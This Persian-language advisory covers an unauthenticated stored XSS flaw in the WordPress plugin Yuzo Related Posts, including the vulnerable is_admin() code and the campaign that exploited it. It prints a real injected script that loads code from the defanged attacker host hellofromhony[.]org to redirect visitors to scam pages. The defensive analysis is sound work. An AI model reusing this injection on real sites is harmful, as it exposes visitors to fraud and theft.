امنیت وبسایتهای وردپرسی، فرآیندی پویا و مستمر است. در این میان، آسیبپذیریهای ناشی از افزونهها، همواره یکی از مهمترین چالشها به شمار میروند. گاهی اوقات، یک افزونه با عملکرد ظاهراً ساده، میتواند دریچهای برای نفوذ هکرها به وبسایت شما باز کند. در این مقاله، به بررسی یکی از این موارد، یعنی افزونه Yuzo Related Posts، و راههای مقابله با خطرات ناشی از آن میپردازیم.
پیشتر، شاهد اخباری مبنی بر سوءاستفاده از افزونه Easy WP SMTP بودیم که با بهروزرسانی این افزونه، مشکل برطرف شد. اما متاسفانه، این تنها مورد از آسیبپذیریهای افزونهها نبوده و نیست. امروز، به بررسی افزونه دیگری میپردازیم که حذف آن میتواند گامی مهم در جهت ارتقای امنیت وبسایت شما باشد.
افزونه Yuzo Related Posts، که روزگاری بر روی دهها هزار وبسایت وردپرسی نصب بود، در تاریخ 30 مارس 2019 از مخزن وردپرس حذف شد. دلیل این اقدام، کشف یک آسیبپذیری خطرناک در این افزونه و بیتوجهی توسعهدهندگان به رفع آن بود. این آسیبپذیری، امکان سوءاستفاده از نوع حملات XSS (Cross-Site Scripting) را فراهم میکرد. این نوع حملات، مشابه حملاتی است که افزونههای Easy WP SMTP و Social Warfare را نیز هدف قرار داده بودند.
اهمیت جلوگیری از هک شدن در وردپرس
خوشبختانه، افزونههای امنیتی قدرتمندی نظیر Wordfence، قابلیت مقابله با حملات XSS را در اختیار کاربران خود قرار میدهند. با استفاده از این افزونهها، میتوان از وبسایت در برابر این نوع حملات محافظت کرد. تیم توسعهدهنده Wordfence، با بررسی عمیق این آسیبپذیری، قابلیتهای حفاظتی بیشتری را نیز به افزونه خود اضافه کرده است که برای کاربران نسخه رایگان نیز بهزودی در دسترس قرار خواهد گرفت.

بررسی فنی: نقش تابع is_admin()
آسیبپذیری افزونه Yuzo Related Posts، ناشی از عدم اعمال احراز هویت در بخشهایی از افزونه بود که به ذخیرهسازی تنظیمات در پایگاه داده مربوط میشدند. در واقع، کد زیر در فایل assets/ilenframework/core.php، هسته اصلی این مشکل را تشکیل میدهد:
function __construct(){if( ! is_admin() ){ // only front-endself::set_main_variable();return;}elseif( is_admin() ){ // only admin// set default if not existsself::_ini_();
برخی از توسعهدهندگان وردپرس، بهاشتباه از تابع is_admin() برای تعیین اینکه آیا یک قطعه کد، نیاز به دسترسی مدیر دارد یا خیر، استفاده میکنند. این در حالی است که طبق مستندات وردپرس، این روش استفاده صحیحی از این تابع نیست. در این سناریو، تابع ()_self::_ini برای تمام صفحات ادمین (مانند /wp-admin/options-general.php و /wp-admin/admin-post.php) فراخوانی میشود. این امر، باعث میشود که یک درخواست برای پردازش اطلاعات، با استفاده از تابع ()self::save_options به این صفحات ارسال شود.
عواقب ناشی از وجود افزونه آسیبپذیر
نتیجه این آسیبپذیری، امکان تزریق محتوای مخرب به وبسایت توسط مهاجمان بدون احراز هویت بود. این محتوای مخرب، میتوانست شامل کدهای جاوا اسکریپت باشد که در تنظیمات افزونه ذخیره میشد. این کدها، در نهایت، توسط مرورگر بازدیدکنندگان اجرا شده و میتوانستند به سرقت اطلاعات، تغییر مسیر به وبسایتهای مخرب یا حتی مسدود کردن دسترسی مدیران به وبسایت منجر شوند.

هشدار: احتمال سوءاستفاده و هدایت به سایتهای کلاهبرداری
پس از افشای این آسیبپذیری و اثبات وجود آن در افزونه Yuzo Related Posts، مجرمان سایبری شروع به سوءاستفاده از وبسایتهایی کردند که این افزونه را نصب کرده بودند. این حملات، با تزریق کدهای مخرب جاوا اسکریپت، کاربران را به صفحات کلاهبرداری هدایت میکردند.
یکی از این کدهای مخرب، در قالب زیر مشاهده شده است:

با بررسی دقیقتر این کد، مشخص میشود که این کد در حال انجام عملیات زیر است:
</style><script language=javascript>var elem=document.createElement('script');elem.type='text/javascript';elem.async=true;elem.src='https://hellofromhony[.]org/counter';document.getElementsByTagName('head')[0].appendChild(elem);</script>
زمانی که یک کاربر از وبسایتی که حاوی این کد مخرب است بازدید میکند، به یک صفحه کلاهبرداری هدایت میشود. نمونهای از این صفحات، در تصویر زیر نمایش داده شده است:

اشتراک در حملات: ۳ آسیبپذیری مشابه
تحقیقات نشان میدهد که حملات انجام شده برای سوءاستفاده از آسیبپذیری افزونه Yuzo Related Posts، شباهتهای زیادی به حملات انجام شده علیه افزونههای Social Warfare و Easy WP SMTP دارد.
در هر سه مورد، از یک اسکریپت مخرب میزبانی شده در آدرس hellofromhony[.]org استفاده شده است که در نهایت، به آدرس 53.176.123.9 هدایت میشود. این IP، در حملات علیه افزونههای Social Warfare و Easy WP SMTP نیز مورد استفاده قرار گرفته بود. هر سه حمله از نوع XSS ذخیرهشده بودند و با تزریق کدهای مخرب، کاربران را به صفحات خطرناک هدایت میکردند. این اشتراکات، نشاندهنده دست داشتن یک گروه یا افراد مشخص در این حملات است و ضرورت اتخاذ اقدامات امنیتی فوری را دوچندان میکند.
نتیجهگیری: گامی به سوی امنیت بیشتر وردپرس
همانطور که مشاهده شد، سوءاستفاده از آسیبپذیریهای افزونهها، میتواند عواقب خطرناکی داشته باشد. به همین دلیل، اتخاذ یک رویکرد امنیتی جامع، که شامل استفاده از فایروالهای وردپرس میشود، از اهمیت ویژهای برخوردار است.
وبسایتهایی که هنوز این افزونه را نصب دارند، باید فوراً آن را حذف کنند. در حال حاضر، بهترین راهکار این است که منتظر ارائه نسخه امن توسط توسعهدهندگان این افزونه باشید. همچنین، استفاده از افزونههایی مانند Wordfence، میتواند تا حد زیادی از وبسایت شما در برابر این نوع حملات محافظت کند. خوشبختانه، قوانین فایروال جدیدی برای محافظت در برابر این حملات در افزونه Wordfence اضافه شده است و بهزودی در نسخه رایگان نیز در دسترس قرار خواهد گرفت.
منابع:
ارسال پاسخ